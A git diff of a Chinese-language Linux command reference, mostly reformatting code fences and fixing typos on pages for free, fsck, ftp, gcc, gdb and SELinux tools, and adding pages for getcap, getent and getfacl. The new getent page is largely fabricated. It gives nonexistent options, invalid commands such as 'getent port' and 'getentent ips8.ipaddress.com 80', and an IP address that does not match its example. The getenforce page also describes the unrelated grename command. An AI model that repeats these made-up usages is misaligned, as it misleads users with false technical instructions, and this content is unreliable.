--human # 自动缩放到最短三位单位的并打印输出 ``` -### 实例 +### 实例 -```bash +```shell free -t # 以总和的形式显示内存的使用信息 free -s 10 # 周期性的查询内存使用信息,每10s 执行一次命令 ``` 显示内存使用情况 -```bash +```shell free -m total used free shared buffers cached Mem: 2016 1973 42 0 163 1497 @@ -45,7 +46,7 @@ Swap: 4094 0 4094 **第一部分Mem行解释:** -``` +```shell total:内存总数; used:已经使用的内存数; free:空闲的内存数; @@ -58,7 +59,7 @@ cached Page:缓存内存数。 **第二部分(-/+ buffers/cache)解释:** -``` +```shell (-buffers/cache) used内存数:第一部分Mem行中的 used – buffers – cached (+buffers/cache) free内存数: 第一部分Mem行中的 free + buffers + cached ``` @@ -81,7 +82,7 @@ cached Page:缓存内存数。 当可用内存少于额定值的时候,就会开会进行交换。如何看额定值: -```bash +```shell cat /proc/meminfo MemTotal: 16140816 kB @@ -156,4 +157,4 @@ Buffer cache是针对磁盘块的缓存,也就是在没有文件系统的情 如果是应用服务器的话,一般只看第二行,+buffers/cache,即对应用程序来说free的内存太少了,也是该考虑优化程序或加内存了。 - + diff --git a/command/fsck.md b/command/fsck.md index e7d62b7fc46..5dc84ecf665 100644 --- a/command/fsck.md +++ b/command/fsck.md @@ -1,21 +1,21 @@ fsck === - -检查并且试图修复文件系统中的错误 + +fsck(英文全拼:file system check)命令检查并且试图修复文件系统中的错误 ## 补充说明 -**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化,可用fsck指令尝试加以修复。 +**fsck命令** 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误,可用fsck指令尝试加以修复。 -### 语法 +### 语法 -``` +```shell fsck(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:自动修复文件系统,不询问任何问题; -A:依照/etc/fstab配置文件的内容,检查文件内所列的全部文件系统; -N:不执行指令,仅列出实际执行会进行的动作; @@ -28,15 +28,15 @@ fsck(选项)(参数) -V:显示指令执行过程。 ``` -### 参数 +### 参数 文件系统:指定要查看信息的文件系统。 -### 实例 +### 实例 linux的文件系统损坏会导致linux不正常关机,出错的时候如果系统告诉你是哪一块硬盘的分区有问题,比如是`/dev/hda2`,接着用如下的命令去对付它: -``` +```shell fsck -y /dev/hda2 ``` @@ -44,7 +44,7 @@ fsck -y /dev/hda2 如果不知道时哪个地方出了问题,可以直接: -``` +```shell fsck ``` @@ -53,4 +53,3 @@ fsck 结束后同样使用reboot命令重启系统这样就好了! - \ No newline at end of file diff --git a/command/ftp.md b/command/ftp.md index e0efcc9cdea..3fa29426111 100644 --- a/command/ftp.md +++ b/command/ftp.md @@ -7,15 +7,15 @@ ftp **ftp命令** 用来设置文件系统相关功能。ftp服务器在网上较为常见,Linux ftp命令的功能是用命令的方式来控制在本地机和远程机之间传送文件,这里详细介绍Linux ftp命令的一些经常使用的命令,相信掌握了这些使用Linux进行ftp操作将会非常容易。 -### 语法 +### 语法 -``` +```shell ftp(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -d:详细显示指令执行过程,便于排错或分析程序执行的情况; -i:关闭互动模式,不询问任何问题; -g:关闭本地主机文件名称支持特殊字符的扩充特性; @@ -23,13 +23,13 @@ ftp(选项)(参数) -v:显示指令执行过程。 ``` -### 参数 +### 参数 主机:指定要连接的FTP服务器的主机名或ip地址。 -### 实例 +### 实例 -```bash +```shell ftp> ascii # 设定以ASCII方式传送文件(缺省值) ftp> bell # 每完成一次文件传送,报警提示. ftp> binary # 设定以二进制方式传送文件. @@ -66,9 +66,17 @@ ftp> ? [command] # 同HELP. [command]指定需要帮助的命令名称。如果 ftp> ! # 从 ftp 子系统退出到外壳。 ``` +FTP 匿名登录账号密码 + +```shell +账号:anonymous +密码: anonymous@ +``` + + 关闭FTP连接 -```bash +```shell bye exit quit @@ -76,17 +84,17 @@ quit 下载文件 -```bash +```shell ftp> get readme.txt # 下载 readme.txt 文件 ftp> mget *.txt # 下载 ``` 上传文件 -```bash +```shell ftp> put /path/readme.txt # 上传 readme.txt 文件 ftp> mput *.txt # 可以上传多个文件 ``` - + diff --git a/command/ftpcount.md b/command/ftpcount.md index 9848ebcd544..839445fa9fc 100644 --- a/command/ftpcount.md +++ b/command/ftpcount.md @@ -1,6 +1,6 @@ ftpcount === - + 显示目前已FTP登入的用户人数 ## 补充说明 @@ -9,9 +9,8 @@ ftpcount 语法: -``` +```shell ftpcount ``` - \ No newline at end of file diff --git a/command/ftpshut.md b/command/ftpshut.md index c69301d2f24..d88acf0492a 100644 --- a/command/ftpshut.md +++ b/command/ftpshut.md @@ -1,6 +1,6 @@ ftpshut === - + 在指定的时间关闭FTP服务器 ## 补充说明 @@ -9,16 +9,15 @@ ftpshut 语法: -``` +```shell ftpshut [-d<分钟>][-l<分钟>][关闭时间]["警告信息"] ``` 参数: -``` +```shell -d<分钟> 切断所有FTP连线时间。 -l<分钟> 停止接受FTP登入的时间。 ``` - \ No newline at end of file diff --git a/command/ftptop.md b/command/ftptop.md index a0491c6f1f6..9330e827bdc 100644 --- a/command/ftptop.md +++ b/command/ftptop.md @@ -1,25 +1,24 @@ ftptop === - + proftpd服务器的连接状态 ## 补充说明 **ftptop命令** 类似于top命令的显示风格显示proftpd服务器的连接状态。 -### 语法 +### 语法 -``` +```shell ftptop(选项) ``` -### 选项 +### 选项 -``` +```shell -D:过滤正在下载的会话; -S:仅显示指定虚拟主机的连接状态; -d:指定屏幕刷新时间,默认 ``` - \ No newline at end of file diff --git a/command/ftpwho.md b/command/ftpwho.md index ba3d69b7dc7..4bb4f214494 100644 --- a/command/ftpwho.md +++ b/command/ftpwho.md @@ -1,24 +1,23 @@ ftpwho === - + 显示当前每个ftp会话信息 ## 补充说明 **ftpwho命令** ftp服务器套件proftpd的工作指令,用于显示当前每个ftp会话信息。 -### 语法 +### 语法 -``` +```shell ftpwho(选项) ``` -### 选项 +### 选项 -``` +```shell -h:显示帮助信息; -v:详细模式,输出更多信息。 ``` - \ No newline at end of file diff --git a/command/fuser.md b/command/fuser.md index 65fbb073b2f..cfa527311c1 100644 --- a/command/fuser.md +++ b/command/fuser.md @@ -1,6 +1,6 @@ fuser === - + 使用文件或文件结构识别进程 ## 补充说明 @@ -9,22 +9,22 @@ fuser 每个进程号后面都跟随一个字母,该字母指示进程如何使用文件。 -* c:指示进程的工作目录。 -* e:指示该文件为进程的可执行文件(即进程由该文件拉起)。 -* f:指示该文件被进程打开,默认情况下f字符不显示。 -* F:指示该文件被进程打开进行写入,默认情况下F字符不显示。 -* r:指示该目录为进程的根目录。 -* m:指示进程使用该文件进行内存映射,抑或该文件为共享库文件,被进程映射进内存。 +* `c` :指示进程的工作目录。 +* `e` :指示该文件为进程的可执行文件(即进程由该文件拉起)。 +* `f` :指示该文件被进程打开,默认情况下f字符不显示。 +* `F` :指示该文件被进程打开进行写入,默认情况下F字符不显示。 +* `r` :指示该目录为进程的根目录。 +* `m` :指示进程使用该文件进行内存映射,抑或该文件为共享库文件,被进程映射进内存。 -### 语法 +### 语法 -``` +```shell fuser(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:显示命令行中指定的所有文件; -k:杀死访问指定文件的所有进程; -i:杀死进程前需要用户进行确认; @@ -34,27 +34,27 @@ fuser(选项)(参数) -u:在每个进程后显示所属的用户名。 ``` -### 参数 +### 参数 文件:可以是文件名或者TCP、UDP端口号。 -### 实例 +### 实例 要列出使用`/etc/passwd`文件的本地进程的进程号,请输入: -``` +```shell fuser /etc/passwd ``` 要列出使用`/etc/filesystems`文件的进程的进程号和用户登录名,请输入: -``` +```shell fuser -u /etc/filesystems ``` 要终止使用给定文件系统的所有进程,请输入: -``` +```shell fuser -k -x -u -c /dev/hd1 或者 fuser -kxuc /home ``` @@ -62,7 +62,7 @@ fuser -k -x -u -c /dev/hd1 或者 fuser -kxuc /home 要列出正在使用已从给定文件系统删除的文件的全部进程,请输入: -``` +```shell fuser -d /usr文件 ``` @@ -70,4 +70,3 @@ fuser -d /usr文件 `/dev/mem`  也用于系统映像。 - \ No newline at end of file diff --git a/command/gcc.md b/command/gcc.md index b266399e07d..fac6b762c62 100644 --- a/command/gcc.md +++ b/command/gcc.md @@ -1,117 +1,127 @@ gcc === - + 基于C/C++的编译器 ## 补充说明 -**gcc命令** 使用GNU推出的基于C/C++的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用GCC,怎样才能更好的应用GCC。目前,GCC可以用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序,可根据需要选择安装支持的语言。 +**gcc命令** 使用GNU推出的基于 `C/C++` 的编译器,是开放源代码领域应用最广泛的编译器,具有功能强大,编译代码支持性能优化等特点。现在很多程序员都应用 `GCC`,怎样才能更好的应用 `GCC`。目前,`GCC` 可以用来编译 `C/C++`、`FORTRAN`、`JAVA`、`OBJC`、`ADA`等语言的程序,可根据需要选择安装支持的语言。 -### 语法 +### 语法 -``` +```shell gcc(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -o:指定生成的输出文件; -E:仅执行编译预处理; -S:将C代码转换为汇编代码; -wall:显示警告信息; -c:仅执行编译操作,不进行连接操作。 +-l:用来指定程序要链接的库,-l参数紧接着就是库名 +-I:寻找头文件的目录 ``` -### 参数 +### 参数 C源文件:指定C语言源代码文件。 -### 实例 +### 实例 - **常用编译命令选项** +**常用编译命令选项** 假设源程序文件名为test.c - **无选项编译链接** +**无选项编译链接** -``` +```shell gcc test.c ``` -将test.c预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为a.out。 +将 `test.c` 预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为 `a.out`。 - **选项 -o** +**选项 -o** -``` +```shell gcc test.c -o test ``` -将test.c预处理、汇编、编译并链接形成可执行文件test。-o选项用来指定输出文件的文件名。 +将 `test.c` 预处理、汇编、编译并链接形成可执行文件 `test`。`-o` 选项用来指定输出文件的文件名。 - **选项 -E** +**选项 -E** -``` +```shell gcc -E test.c -o test.i ``` -将test.c预处理输出test.i文件。 +将 `test.c` 预处理输出 `test.i` 文件。 - **选项 -S** +**选项 -S** -``` +```shell gcc -S test.i ``` -将预处理输出文件test.i汇编成test.s文件。 +将预处理输出文件 `test.i` 汇编成 `test.s` 文件。 - **选项 -c** +**选项 -c** -``` +```shell gcc -c test.s ``` -将汇编输出文件test.s编译输出test.o文件。 +将汇编输出文件 `test.s` 编译输出 `test.o` 文件。 - **无选项链接** +**无选项链接** -``` +```shell gcc test.o -o test ``` -将编译输出文件test.o链接成最终可执行文件test。 +将编译输出文件 `test.o` 链接成最终可执行文件 `test`。 - **选项 -O** +**选项 -O** -``` +```shell gcc -O1 test.c -o test ``` 使用编译优化级别1编译程序。级别为1~3,级别越大优化效果越好,但编译时间越长。 - **多源文件的编译方法** +**多源文件的编译方法** 如果有多个源文件,基本上有两种编译方法: -假设有两个源文件为test.c和testfun.c +假设有两个源文件为 `test.c` 和 `testfun.c` - **多个文件一起编译** +**多个文件一起编译** -``` +```shell gcc testfun.c test.c -o test ``` -将testfun.c和test.c分别编译后链接成test可执行文件。 +将 `testfun.c` 和 `test.c` 分别编译后链接成 `test` 可执行文件。 - **分别编译各个源文件,之后对编译后输出的目标文件链接。** +**分别编译各个源文件,之后对编译后输出的目标文件链接。** -``` +```shell gcc -c testfun.c #将testfun.c编译成testfun.o gcc -c test.c #将test.c编译成test.o -gcc -o testfun.o test.o -o test #将testfun.o和test.o链接成test +gcc testfun.o test.o -o test #将testfun.o和test.o链接成test ``` 以上两种方法相比较,第一中方法编译时需要所有文件重新编译,而第二种方法可以只重新编译修改的文件,未修改的文件不用重新编译。 +**加载动态链接库** +```shell +gcc hello.c -lpthread -o hello +``` + +**手动添加文件头路径** +```shell +gcc hello.c -lpthread -I /lib64/ -o hello +``` - \ No newline at end of file diff --git a/command/gcov.md b/command/gcov.md index 237fbe7d320..b6c0e39fbd5 100644 --- a/command/gcov.md +++ b/command/gcov.md @@ -1,30 +1,29 @@ gcov === - + 测试程序的代码覆盖率的工具 ## 补充说明 **gcov命令** 是一款测试程序的代码覆盖率的工具。 -### 语法 +### 语法 -``` +```shell gcov(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -h:显示帮助信息; -v:显示版本信息; -a:输出所有的基本块的执行计数; -n:并创建输出文件。 ``` -### 参数 +### 参数 V语言文件:C语言源代码文件。 - \ No newline at end of file diff --git a/command/gdb.md b/command/gdb.md index d02397ba061..d72ec9f01d6 100644 --- a/command/gdb.md +++ b/command/gdb.md @@ -7,161 +7,15 @@ gdb **gdb命令** 包含在GNU的gcc开发套件中,是功能强大的程序调试器。GDB中的命令固然很多,但我们只需掌握其中十个左右的命令,就大致可以完成日常的基本的程序调试工作。 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
命令解释示例
file <文件名>加载被调试的可执行程序文件。 -因为一般都在被调试程序所在目录下执行GDB,因而文本名不需要带路径。(gdb) file gdb-sample
rRun的简写,运行被调试的程序。 -如果此前没有下过断点,则执行完整个程序;如果有断点,则程序暂停在第一个可用断点处。(gdb) r
cContinue的简写,继续执行被调试程序,直至下一个断点或程序结束。(gdb) c
b <行号> -b <函数名称> -b *<函数名称> -b *<代码地址> d [编号]b: Breakpoint的简写,设置断点。两可以使用“行号”“函数名称”“执行地址”等方式指定断点位置。 -其中在函数名称前面加“*”符号表示将断点设置在“由编译器生成的prolog代码处”。如果不了解汇编,可以不予理会此用法。 d: Delete breakpoint的简写,删除指定编号的某个断点,或删除所有断点。断点编号从1开始递增。(gdb) b 8 -(gdb) b main -(gdb) b *main -(gdb) b *0x804835c (gdb) d
s, ns: 执行一行源程序代码,如果此行代码中有函数调用,则进入该函数; -n: 执行一行源程序代码,此行代码中的函数调用也一并执行。 s 相当于其它调试器中的“Step Into (单步跟踪进入)”; -n 相当于其它调试器中的“Step Over (单步跟踪)”。 这两个命令必须在有源代码调试信息的情况下才可以使用(GCC编译时使用“-g”参数)。(gdb) s -(gdb) n
si, nisi命令类似于s命令,ni命令类似于n命令。所不同的是,这两个命令(si/ni)所针对的是汇编指令,而s/n针对的是源代码。(gdb) si -(gdb) ni
p <变量名称>Print的简写,显示指定变量(临时变量或全局变量)的值。(gdb) p i -(gdb) p nGlobalVar
display ... undisplay <编号>display,设置程序中断后欲显示的数据及其格式。 -例如,如果希望每次程序中断后可以看到即将被执行的下一条汇编指令,可以使用命令 -“display /i $pc” -其中 $pc 代表当前汇编指令,/i 表示以十六进行显示。当需要关心汇编代码时,此命令相当有用。 undispaly,取消先前的display设置,编号从1开始递增。(gdb) display /i $pc (gdb) undisplay 1
iinfo的简写,用于显示各类信息,详情请查阅“help i”。(gdb) i r
qQuit的简写,退出GDB调试环境。(gdb) q
help [命令名称]GDB帮助命令,提供对GDB名种命令的解释说明。 -如果指定了“命令名称”参数,则显示该命令的详细说明;如果没有指定参数,则分类显示所有GDB命令,供用户进一步浏览和查询。(gdb) help
- ### 语法 -``` +```shell gdb(选项)(参数) ``` ### 选项 -``` +```shell -cd:设置工作目录; -q:安静模式,不打印介绍信息和版本信息; -d:添加文件查找路径; @@ -169,6 +23,21 @@ gdb(选项)(参数) -s:设置读取的符号表文件。 ``` + +命令 | 解释 | 示例 +--- | --- | --- +file <文件名> | 加载被调试的可执行程序文件。
因为一般都在被调试程序所在目录下执行GDB,因而文本名不需要带路径。 | (gdb) file gdb-sample +r | Run的简写,运行被调试的程序。
如果此前没有下过断点,则执行完整个程序;如果有断点,则程序暂停在第一个可用断点处。 | (gdb) r +c | Continue的简写,继续执行被调试程序,直至下一个断点或程序结束。 | (gdb) c +b <行号>
b <函数名称>
b *<函数名称>
b *<代码地址> d [编号] | b: Breakpoint的简写,设置断点。两可以使用“行号”“函数名称”“执行地址”等方式指定断点位置。
其中在函数名称前面加“*”符号表示将断点设置在“由编译器生成的prolog代码处”。如果不了解汇编,可以不予理会此用法。 d: Delete breakpoint的简写,删除指定编号的某个断点,或删除所有断点。断点编号从1开始递增。 | (gdb) b 8(gdb) b main
(gdb) b *main
(gdb) b *0x804835c (gdb) d +s, n | s: 执行一行源程序代码,如果此行代码中有函数调用,则进入该函数;
n: 执行一行源程序代码,此行代码中的函数调用也一并执行。 s 相当于其它调试器中的“Step Into (单步跟踪进入)”;
n 相当于其它调试器中的“Step Over (单步跟踪)”。 这两个命令必须在有源代码调试信息的情况下才可以使用(GCC编译时使用“-g”参数)。 | (gdb) s
(gdb) n +si, ni | si命令类似于s命令,ni命令类似于n命令。所不同的是,这两个命令(si/ni)所针对的是汇编指令,而s/n针对的是源代码。 | (gdb) si
(gdb) ni +p <变量名称> | Print的简写,显示指定变量(临时变量或全局变量)的值。 | (gdb) p i
(gdb) p nGlobalVar +display ... undisplay <编号> | display,设置程序中断后欲显示的数据及其格式。
例如,如果希望每次程序中断后可以看到即将被执行的下一条汇编指令,可以使用命令
“display /i $pc”
其中 $pc 代表当前汇编指令,/i 表示以十六进行显示。当需要关心汇编代码时,此命令相当有用。 undispaly,取消先前的display设置,编号从1开始递增。 | (gdb) display /i $pc (gdb) undisplay 1 +i | info的简写,用于显示各类信息,详情请查阅“help i”。 | (gdb) i r +q | Quit的简写,退出GDB调试环境。 | (gdb) q +help [命令名称] | GDB帮助命令,提供对GDB名种命令的解释说明。
如果指定了“命令名称”参数,则显示该命令的详细说明;如果没有指定参数,则分类显示所有GDB命令,供用户进一步浏览和查询。 | (gdb) help + ### 参数 文件:二进制可执行程序。 @@ -177,7 +46,7 @@ gdb(选项)(参数) 以下是linux下dgb调试的一个实例,先给出一个示例用的小程序,C语言代码: -``` +```shell #include int nGlobalVar = 0; @@ -208,7 +77,7 @@ int main() 请将此代码复制出来并保存到文件 gdb-sample.c 中,然后切换到此文件所在目录,用GCC编译之: -``` +```shell gcc gdb-sample.c -o gdb-sample -g ``` @@ -216,7 +85,7 @@ gcc gdb-sample.c -o gdb-sample -g 下面“gdb”命令启动GDB,将首先显示GDB说明,不管它: -``` +```shell GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are @@ -231,7 +100,7 @@ This GDB was configured as "i386-redhat-linux-gnu". 下面使用“file”命令载入被调试程序 gdb-sample(这里的 gdb-sample 即前面 GCC 编译输出的可执行文件): -``` +```shell (gdb) file gdb-sample Reading symbols from gdb-sample...done. ``` @@ -240,7 +109,7 @@ Reading symbols from gdb-sample...done. 下面使用“r”命令执行(Run)被调试文件,因为尚未设置任何断点,将直接执行到程序结束: -``` +```shell (gdb) r Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample n = 1, nGlobalVar = 88 @@ -251,7 +120,7 @@ Program exited normally. 下面使用“b”命令在 main 函数开头设置一个断点(Breakpoint): -``` +```shell (gdb) b main Breakpoint 1 at 0x804835c: file gdb-sample.c, line 19. ``` @@ -260,7 +129,7 @@ Breakpoint 1 at 0x804835c: file gdb-sample.c, line 19. 再次使用“r”命令执行(Run)被调试程序: -``` +```shell (gdb) r Starting program: /home/liigo/temp/gdb-sample @@ -274,7 +143,7 @@ Breakpoint 1, main () at gdb-sample.c:19 下面使用“s”命令(Step)执行下一行代码(即第19行“n = 1;”): -``` +```shell (gdb) s 20 n++; ``` @@ -283,7 +152,7 @@ Breakpoint 1, main () at gdb-sample.c:19 既然已经执行了“n = 1;”,即给变量 n 赋值为 1,那我们用“p”命令(Print)看一下变量 n 的值是不是 1 : -``` +```shell (gdb) p n $1 = 1 ``` @@ -292,7 +161,7 @@ $1 = 1 下面我们分别在第26行、tempFunction 函数开头各设置一个断点(分别使用命令“b 26”“b tempFunction”): -``` +```shell (gdb) b 26 Breakpoint 2 at 0x804837b: file gdb-sample.c, line 26. (gdb) b tempFunction @@ -301,7 +170,7 @@ Breakpoint 3 at 0x804832e: file gdb-sample.c, line 12. 使用“c”命令继续(Continue)执行被调试程序,程序将中断在第二 个断点(26行),此时全局变量 nGlobalVar 的值应该是 88;再一次执行“c”命令,程序将中断于第三个断点(12行,tempFunction 函数开头处),此时tempFunction 函数的两个参数 a、b 的值应分别是 1 和 2: -``` +```shell (gdb) c Continuing. @@ -325,7 +194,7 @@ $4 = 2 再一次执行“c”命令(Continue),因为后面再也没有其它断点,程序将一直执行到结束: -``` +```shell (gdb) c Continuing. tempFunction is called, a = 1, b = 2 @@ -337,14 +206,14 @@ Program exited normally. 这就要用到display命令“display /i $pc”了(此命令前面已有详细解释): -``` +```shell (gdb) display /i $pc (gdb) ``` 此后程序再中断时,就可以显示出汇编代码了: -``` +```shell (gdb) r Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample @@ -357,7 +226,7 @@ Breakpoint 1, main () at gdb-sample.c:19 并且以后程序每次中断都将显示下一条汇编指定(“si”命令用于执行一条汇编代码——区别于“s”执行一行C代码): -``` +```shell (gdb) si 20 n++; 1: x/i $pc 0x8048363 : lea 0xfffffffc(%ebp),%eax @@ -379,7 +248,7 @@ Breakpoint 1, main () at gdb-sample.c:19 为了更简明,有必要先删除目前所有断点(使用“d”命令——Delete breakpoint): -``` +```shell (gdb) d Delete all breakpoints? (y or n) y (gdb) @@ -389,7 +258,7 @@ Delete all breakpoints? (y or n) y 下面使用命令“b *main”在 main 函数的 prolog 代码处设置断点(prolog、epilog,分别表示编译器在每个函数的开头和结尾自行插入的代码): -``` +```shell (gdb) b *main Breakpoint 4 at 0x804834c: file gdb-sample.c, line 17. (gdb) r @@ -421,9 +290,9 @@ Breakpoint 4, main () at gdb-sample.c:17 1: x/i $pc 0x804835c : movl $0x1,0xfffffffc(%ebp) ``` -此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”: +此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Information Register”: -``` +```shell (gdb) i r eax 0xbffff6a4 -1073744220 ecx 0x42015554 1107383636 @@ -445,14 +314,14 @@ gs 0x33 51 当然也可以显示任意一个指定的寄存器值: -``` +```shell (gdb) i r eax eax 0xbffff6a4 -1073744220 ``` 最后一个要介绍的命令是“q”,退出(Quit)GDB调试环境: -``` +```shell (gdb) q The program is running. exit anyway? (y or n) ``` @@ -463,7 +332,7 @@ The program is running. exit anyway? (y or n) 如果删除源代码, 就无法显示行号等辅助信息了 -``` +```shell gcc -g gdb.c -o gdb.out # -g 支持gdb调试; -o 输出, 默认为 a.out gdb gdb.out # 进入 gdb 调试环境 @@ -480,8 +349,9 @@ f 1 # 切换函数栈 q 退出调试 ``` +测试用代码 + ```c -# 测试用代码 #include void change(int a, int b){ @@ -503,4 +373,3 @@ int main(){ } ``` - \ No newline at end of file diff --git a/command/get_module.md b/command/get_module.md index b7e69ccd75f..5956eaa9c2d 100644 --- a/command/get_module.md +++ b/command/get_module.md @@ -1,23 +1,23 @@ get_module === - + 获取Linux内核模块的详细信息 ## 补充说明 **get_module命令** 用于获取Linux内核模块的详细信息。 -### 语法 +### 语法 -``` +```shell get_module 模块名 ``` -### 实例 +### 实例 使用lsmod命令查看内核模块: -``` +```shell lsmod | head -5 Module Size Used by ipv6 272801 15 @@ -28,7 +28,7 @@ ip_conntrack_ftp 11569 0 使用get_module命令查看模块详细信息: -``` +```shell get_module ipv6 refcnt : 15 srcversion : 8CC9C024755B4483E56C0EF @@ -64,4 +64,3 @@ Sections: ``` - \ No newline at end of file diff --git a/command/getcap.md b/command/getcap.md new file mode 100644 index 00000000000..1f57f464b57 --- /dev/null +++ b/command/getcap.md @@ -0,0 +1,49 @@ +getcap +=== + +显示文件的能力(capabilities) + +## 补充说明 + +**getcap命令** 用于查看文件的能力(capabilities)。在 Linux 中,文件的能力是一种权限控制机制,可以赋予普通文件特定的特权操作,而无需完全的 root 权限。 + +### 语法 + +```shell +getcap [选项] [文件名...] +``` + +### 选项 + +```shell +-v # 显示详细信息,通常与其他选项一起使用。 +-p # 显示进程的能力。 +``` + +### 参数 + +文件名:指定要查看能力的文件路径。 + +### 实例 + +查看一个可执行文件的能力: + +```shell +$ getcap /usr/bin/ping +/usr/bin/ping = cap_net_raw+ep +``` + +查看当前目录下所有文件的能力: + +```shell +$ getcap * +/usr/bin/ping = cap_net_raw+ep +``` + +如果文件没有设置任何能力,getcap 不会返回任何输出。 + +查看进程的能力(以 PID 为例): + +```shell +$ getcap -p 1234 +``` \ No newline at end of file diff --git a/command/getenforce.md b/command/getenforce.md index 17a76a1531c..2583847927d 100644 --- a/command/getenforce.md +++ b/command/getenforce.md @@ -1,15 +1,15 @@ getenforce === -显示当前SELinux的应用模式,是强制、执行还是停用。 +显示当前SELinux的应用模式,是强制、执行还是停用 ## 补充说明 **grename命令** 可以重命名卷组的名称。 -### 语法 +### 语法 -``` +```shell getenforce ``` @@ -17,9 +17,9 @@ getenforce 查看当前SELinux的应用模式。 -```bash +```shell [root@localhost ~]# getenforce Enforcing ``` - + diff --git a/command/getent.md b/command/getent.md new file mode 100644 index 00000000000..1a21dbbaee8 --- /dev/null +++ b/command/getent.md @@ -0,0 +1,69 @@ +getent +=== + +查询 DNS 名称服务器中的命名空间 + +## 语法 + +```shell +getent [选项] 主机名或域名 +``` + +## 选项 + +```shell +-h # 显示帮助信息 +-n # 不解析 DNS 名称 +-p # 打印解析过程 +-s # 只输出有关已知主机的信息 +-t # 指定 DNS 查询类型 (默认为 NXDOMAIN) +-U # 使用顶级域名服务器 +-V # 显示版本信息 +-O # 以其他模式解析命名空间 +``` + +主机名或域名可以是通配符 (例如 *.example.com) 或单个主机名。如果指定了 -h 选项,则显示帮助信息。如果指定了 -n 选项,则不再解析 DNS 名称。如果指定了 -p 选项,则打印解析过程。如果指定了 -s 选项,则只输出有关已知主机的信息。如果指定了 -t 选项,则指定 DNS 查询类型 (默认为 NXDOMAIN)。如果指定了 -U 选项,则使用顶级域名服务器。如果指定了 -V 选项,则显示版本信息。如果指定了 -O 选项,则解析命名空间以其他模式。 + +## 实例 + +1. 查看所有已知账户: + +```shell +getent passwd +``` + +这将列出所有已知账户的密码文件,例如 `/etc/passwd` 或 `/run/user/1000/gshadow`。 + +2. 查看指定账户的信息: + +```shell +getent passwd someuser +``` + +这将只列出指定用户的信息,例如用户名、密码、uid、gid 等。 + +3. 查看指定域名的 DNS 记录: + +```shell +getent host example.com +``` + +这将列出 example.com 域名的 DNS 记录,包括主机名、IP 地址和其他相关信息。 + +4. 查看指定 IP 地址的 TCP 连接信息: + +```shell +getentent ips8.ipaddress.com 80 +``` + +这将列出 IP 地址为 192.168.0.100 的 TCP 连接信息,例如连接的服务器地址、端口号和连接状态。 + +5. 查看指定主机的已知端口: + +```shell +getent port somehost.example.com +``` + +这将列出指定主机的已知端口,例如端口号、协议和主机名。 + +这些只是 `getent` 命令的一些例子,它还有许多其他用法和选项,可以根据需要进行调整。 \ No newline at end of file diff --git a/command/getfacl.md b/command/getfacl.md new file mode 100644 index 00000000000..fbfb5271ee9 --- /dev/null +++ b/command/getfacl.md @@ -0,0 +1,49 @@ +getfacl +=== + +获取文件访问控制列表(access control lists) + +## 补充说明 + +对于每个文件,`getfacl`都会显示文件名、所有者、组和访问控制列表 (ACL)。如果目录有默认ACL,`getfacl` 也会显示默认ACL。非目录不能有默认ACL。 +如果在不支持 ACL 的文件系统上使用`getfacl`,`getfacl`会显示由传统文件模式权限位定义的访问权限。请参考`setfacl`。 + +### 选项 + +```shell +-a, --access # 显示文件访问控制列表。 +-d, --default # 显示默认访问控制列表。 +-c, --omit-header # 不显示注释头(每个文件输出的前三行)。 +-e, --all-effective # 打印所有有效权限注释,即使与 ACL 条目定义的权限相同。 +-E, --no-effective # 不打印有效权限注释。 +-s, --skip-base # 跳过只有基本 ACL 条目(所有者、组、其他)的文件。 +-R, --recursive # 递归列出所有文件和目录的 ACL。 +-L, --logical # 逻辑路径,跟踪目录的符号链接。默认行为是跟踪符号链接参数,跳过子目录中遇到的符号链接。仅与 -R 结合使用时有效。 +-P, --physical # 物理路径,不跟踪指向目录的符号链接。这也会跳过符号链接参数。 仅与 -R 结合使用时有效。 +-t, --tabular # 使用另一种表格输出格式。同时显示 ACL 和默认 ACL。因 ACL 屏蔽条目而无效的权限会以大写。ACL_USER_OBJ 和 ACL_GROUP_OBJ 条目的条目标签名称也以大写字母显示,这有助于识别这些条目。 +-p, --absolute-names # 不删除前导斜线字符 (`/')。默认行为是去掉前导斜线字符。 +-n, --numeric # 列出数字用户和组 ID。 +-v, --version # 打印 getfacl 的版本并退出。 +-h, --help # 打印命令行选项的帮助说明。 +-- # 命令行选项结束。所有剩余参数都被解释为文件名,即使它们以破折号字符开头。 +- # 如果文件名参数是单破折号字符,getfacl 将从标准输入读取文件列表。 +``` + +### 实例 + +getfacl 命令默认显示文件访问控制列表。打开终端,并输入以下命令: + +```shell +getfacl tmp + +# file: tmp +# owner: zdx +# group: zdx +# flags: -s- +user::rwx +group::rwx +other::r-x +default:user::rwx +default:group::rwx +default:other::r-x +``` diff --git a/command/getsebool.md b/command/getsebool.md index c94b78fb406..f0e386974a2 100644 --- a/command/getsebool.md +++ b/command/getsebool.md @@ -1,29 +1,29 @@ getsebool === - + 查询SElinux策略内各项规则的布尔值 ## 补充说明 **getsebool命令** 是用来查询SElinux策略内各项规则的布尔值。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。 -### 语法 +### 语法 -``` +```shell getsebool [-a] [布尔值条款] ``` -### 选项 +### 选项 -``` +```shell -a:列出目前系统上面的所有布尔值条款设置为开启或关闭值。 ``` -### 实例 +### 实例 查询本系统内所有的布尔值设置状况: -``` +```shell getsebool -a NetworkManager_disable_trans --> off allow_console_login 